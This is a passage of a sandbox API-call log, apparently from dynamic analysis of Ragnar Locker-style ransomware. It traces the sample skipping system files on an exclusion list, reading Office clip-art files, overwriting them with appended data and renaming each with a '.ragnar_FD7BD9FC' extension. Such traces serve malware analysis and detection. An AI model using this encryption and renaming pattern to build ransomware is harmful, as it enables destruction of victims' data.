Office\\CLIPART\\PUB60COR\\SO02886_.WMF") returned=".WMF" [0092.348] lstrcmpiW (lpString1="SO02886_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.348] lstrcmpiW (lpString1="SO02886_.WMF", lpString2="autorun.inf") returned 1 [0092.349] lstrcmpiW (lpString1="SO02886_.WMF", lpString2="boot.ini") returned 1 [0092.349] lstrcmpiW (lpString1="SO02886_.WMF", lpString2="bootfont.bin") returned 1 [0092.349] lstrcmpiW (lpString1="SO02886_.WMF", lpString2="bootsect.bak") returned 1 [0092.349] lstrcmpiW (lpString1="SO02886_.WMF", lpString2="bootmgr") returned 1 [0092.349] lstrcmpiW (lpString1="SO02886_.WMF", lpString2="bootmgr.efi") returned 1 [0092.349] lstrcmpiW (lpString1="SO02886_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.349] lstrcmpiW (lpString1="SO02886_.WMF", lpString2="desktop.ini") returned 1 [0092.349] lstrcmpiW (lpString1="SO02886_.WMF", lpString2="iconcache.db") returned 1 [0092.349] lstrcmpiW (lpString1="SO02886_.WMF", lpString2="ntldr") returned 1 [0092.349] lstrcmpiW (lpString1="SO02886_.WMF", lpString2="ntuser.dat") returned 1 [0092.349] lstrcmpiW (lpString1="SO02886_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.349] lstrcmpiW (lpString1="SO02886_.WMF", lpString2="ntuser.ini") returned 1 [0092.349] lstrcmpiW (lpString1="SO02886_.WMF", lpString2="thumbs.db") returned -1 [0092.349] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.349] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.349] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.349] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.349] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.349] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.349] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02886_.wmf")) returned 0x20 [0092.350] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02886_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.350] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=38522) returned 1 [0092.350] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9671, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.350] GetProcessHeap () returned 0x580000 [0092.350] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.350] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.352] VirtualAlloc (lpAddress=0x0, dwSize=0x967a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.352] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.352] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.352] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x967a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x967a, lpOverlapped=0x0) returned 1 [0092.365] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.366] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x967a, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.366] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x967a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x967a, lpOverlapped=0x0) returned 1 [0092.366] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x967a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.366] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.366] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x967a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.366] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.367] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.367] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.367] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.367] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.367] GetProcessHeap () returned 0x580000 [0092.367] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.367] CloseHandle (hObject=0xf4) returned 1 [0092.367] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF" [0092.367] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF.ragnar_FD7BD9FC" [0092.367] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02886_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02886_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.368] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x22f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02958_.WMF", cAlternateFileName="")) returned 1 [0092.368] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.368] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02958_.WMF" | out: lpString1="SO02958_.WMF") returned="SO02958_.WMF" [0092.368] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF") returned=".WMF" [0092.368] lstrcmpiW (lpString1="SO02958_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.368] lstrcmpiW (lpString1="SO02958_.WMF", lpString2="autorun.inf") returned 1 [0092.368] lstrcmpiW (lpString1="SO02958_.WMF", lpString2="boot.ini") returned 1 [0092.368] lstrcmpiW (lpString1="SO02958_.WMF", lpString2="bootfont.bin") returned 1 [0092.368] lstrcmpiW (lpString1="SO02958_.WMF", lpString2="bootsect.bak") returned 1 [0092.368] lstrcmpiW (lpString1="SO02958_.WMF", lpString2="bootmgr") returned 1 [0092.368] lstrcmpiW (lpString1="SO02958_.WMF", lpString2="bootmgr.efi") returned 1 [0092.368] lstrcmpiW (lpString1="SO02958_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.368] lstrcmpiW (lpString1="SO02958_.WMF", lpString2="desktop.ini") returned 1 [0092.369] lstrcmpiW (lpString1="SO02958_.WMF", lpString2="iconcache.db") returned 1 [0092.369] lstrcmpiW (lpString1="SO02958_.WMF", lpString2="ntldr") returned 1 [0092.369] lstrcmpiW (lpString1="SO02958_.WMF", lpString2="ntuser.dat") returned 1 [0092.369] lstrcmpiW (lpString1="SO02958_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.369] lstrcmpiW (lpString1="SO02958_.WMF", lpString2="ntuser.ini") returned 1 [0092.369] lstrcmpiW (lpString1="SO02958_.WMF", lpString2="thumbs.db") returned -1 [0092.369] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.369] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.369] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.369] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.369] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.369] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.369] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02958_.wmf")) returned 0x20 [0092.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02958_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.370] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8948) returned 1 [0092.370] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x22eb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.370] GetProcessHeap () returned 0x580000 [0092.370] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.370] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.371] VirtualAlloc (lpAddress=0x0, dwSize=0x22f4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.371] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.371] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.371] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x22f4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x22f4, lpOverlapped=0x0) returned 1 [0092.372] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.372] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x22f4, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.372] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x22f4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x22f4, lpOverlapped=0x0) returned 1 [0092.373] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x22f4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.373] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.373] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x22f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.373] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.373] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.373] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.373] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.373] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.373] GetProcessHeap () returned 0x580000 [0092.373] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.373] CloseHandle (hObject=0xf4) returned 1 [0092.373] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF" [0092.373] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF.ragnar_FD7BD9FC" [0092.373] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02958_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02958_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.374] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x107b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPACE_01.MID", cAlternateFileName="")) returned 1 [0092.374] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.374] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SPACE_01.MID" | out: lpString1="SPACE_01.MID") returned="SPACE_01.MID" [0092.374] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned=".MID" [0092.374] lstrcmpiW (lpString1="SPACE_01.MID", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.374] lstrcmpiW (lpString1="SPACE_01.MID", lpString2="autorun.inf") returned 1 [0092.374] lstrcmpiW (lpString1="SPACE_01.MID", lpString2="boot.ini") returned 1 [0092.374] lstrcmpiW (lpString1="SPACE_01.MID", lpString2="bootfont.bin") returned 1 [0092.374] lstrcmpiW (lpString1="SPACE_01.MID", lpString2="bootsect.bak") returned 1 [0092.374] lstrcmpiW (lpString1="SPACE_01.MID", lpString2="bootmgr") returned 1 [0092.374] lstrcmpiW (lpString1="SPACE_01.MID", lpString2="bootmgr.efi") returned 1 [0092.375] lstrcmpiW (lpString1="SPACE_01.MID", lpString2="bootmgfw.efi") returned 1 [0092.375] lstrcmpiW (lpString1="SPACE_01.MID", lpString2="desktop.ini") returned 1 [0092.375] lstrcmpiW (lpString1="SPACE_01.MID", lpString2="iconcache.db") returned 1 [0092.375] lstrcmpiW (lpString1="SPACE_01.MID", lpString2="ntldr") returned 1 [0092.375] lstrcmpiW (lpString1="SPACE_01.MID", lpString2="ntuser.dat") returned 1 [0092.375] lstrcmpiW (lpString1="SPACE_01.MID", lpString2="ntuser.dat.log") returned 1 [0092.375] lstrcmpiW (lpString1="SPACE_01.MID", lpString2="ntuser.ini") returned 1 [0092.375] lstrcmpiW (lpString1="SPACE_01.MID", lpString2="thumbs.db") returned -1 [0092.375] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0092.375] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0092.375] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0092.375] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0092.375] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0092.375] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0092.375] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0092.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid")) returned 0x20 [0092.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.376] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4219) returned 1 [0092.376] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1072, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.376] GetProcessHeap () returned 0x580000 [0092.376] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.376] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.377] VirtualAlloc (lpAddress=0x0, dwSize=0x107b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.378] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.378] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.378] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x107b, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x107b, lpOverlapped=0x0) returned 1 [0092.378] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.379] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x107b, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.379] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x107b, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x107b, lpOverlapped=0x0) returned 1 [0092.379] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x107b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.379] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.379] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x107b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.379] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.379] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.379] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.379] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.379] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.379] GetProcessHeap () returned 0x580000 [0092.379] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.379] CloseHandle (hObject=0xf4) returned 1 [0092.379] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" [0092.379] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.ragnar_FD7BD9FC" [0092.380] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.380] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1a2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRNG_01.MID", cAlternateFileName="")) returned 1 [0092.380] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.380] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SPRNG_01.MID" | out: lpString1="SPRNG_01.MID") returned="SPRNG_01.MID" [0092.380] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned=".MID" [0092.380] lstrcmpiW (lpString1="SPRNG_01.MID", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.380] lstrcmpiW (lpString1="SPRNG_01.MID", lpString2="autorun.inf") returned 1 [0092.380] lstrcmpiW (lpString1="SPRNG_01.MID", lpString2="boot.ini") returned 1 [0092.380] lstrcmpiW (lpString1="SPRNG_01.MID", lpString2="bootfont.bin") returned 1 [0092.380] lstrcmpiW (lpString1="SPRNG_01.MID", lpString2="bootsect.bak") returned 1 [0092.380] lstrcmpiW (lpString1="SPRNG_01.MID", lpString2="bootmgr") returned 1 [0092.380] lstrcmpiW (lpString1="SPRNG_01.MID", lpString2="bootmgr.efi") returned 1 [0092.381] lstrcmpiW (lpString1="SPRNG_01.MID", lpString2="bootmgfw.efi") returned 1 [0092.381] lstrcmpiW (lpString1="SPRNG_01.MID", lpString2="desktop.ini") returned 1 [0092.381] lstrcmpiW (lpString1="SPRNG_01.MID", 